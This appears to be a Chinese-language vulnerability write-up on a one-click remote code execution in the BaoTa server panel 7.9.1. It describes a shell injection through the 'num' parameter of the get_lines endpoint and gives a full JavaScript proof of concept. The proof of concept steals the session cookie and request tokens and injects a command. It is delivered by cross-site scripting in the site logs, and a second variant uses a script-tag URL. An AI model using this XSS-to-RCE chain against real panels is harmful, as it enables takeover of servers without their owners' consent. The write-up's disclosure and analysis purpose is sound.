Professional Documents
Culture Documents
宝塔前台RCE (1click)
宝塔前台RCE (1click)
找到网站名
JS payload
复现过程:
此时的 wwwroot 目录下面是没有文件的
发包
点击网站日志
成功 RCE
原理分析
这里我用的环境是 7.9.1 版
目前的官网最新版也是 7.9.1 版本
函数里面语句较多,但是并没有任何的过滤
然后 returnMsg 直接 return 回来
那么我们转回来看 getline 函数
先判断了传来的 filename 存不存在,不存在就 return,如果存在的话就往下进行拼接 num
和 filename,所以我们就知道了怎么可以 rce,传一个必定存在的 filename,然后 num 执行
命令就可以了,但因为这是在后台,所以需要 xss+csrf 配合触发
全部 poc
(document.getElementsByTagName('head')[0]||document.getElementsByTagN
ame('body')[0]).appendChild(s);
})();
// cookie
let cookies = document.cookie;
function getCookie(sKey) {
if (!sKey) { return null; }
return decodeURIComponent(document.cookie.replace(new
RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-
\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
all_headers = {
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0
Safari/537.36",
"Connection":"close",
"Accept-Encoding":"gzip, deflate",
"dnt":"1",
"sec-gpc":"1",
"Cookie": cookies,
"x-cookie-token": getCookie('request_token'),
"Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
"x-http-token": $('#request_token_head').attr('token'),
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}
$.ajax({
url: "/ajax",
type: "get",
data:
{"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE
test ZAC'> /www/wwwroot/1.txt|"}
,
headers: all_headers,
success: function (data) {
console.info(data);
}
});
RCE2:
原理基本一样,不过我们要让他报错,在后面目录输入乱码语句强制报错
http://URL/ÑÞ:wJ</textarea><script>alert(1)</script>
同 RCE1,这里直接取了错误日志
致谢名单: 孙爱民,H0ly,可笑,广,丞相
有任何问题可以添加本人微信进行交流 zacaq999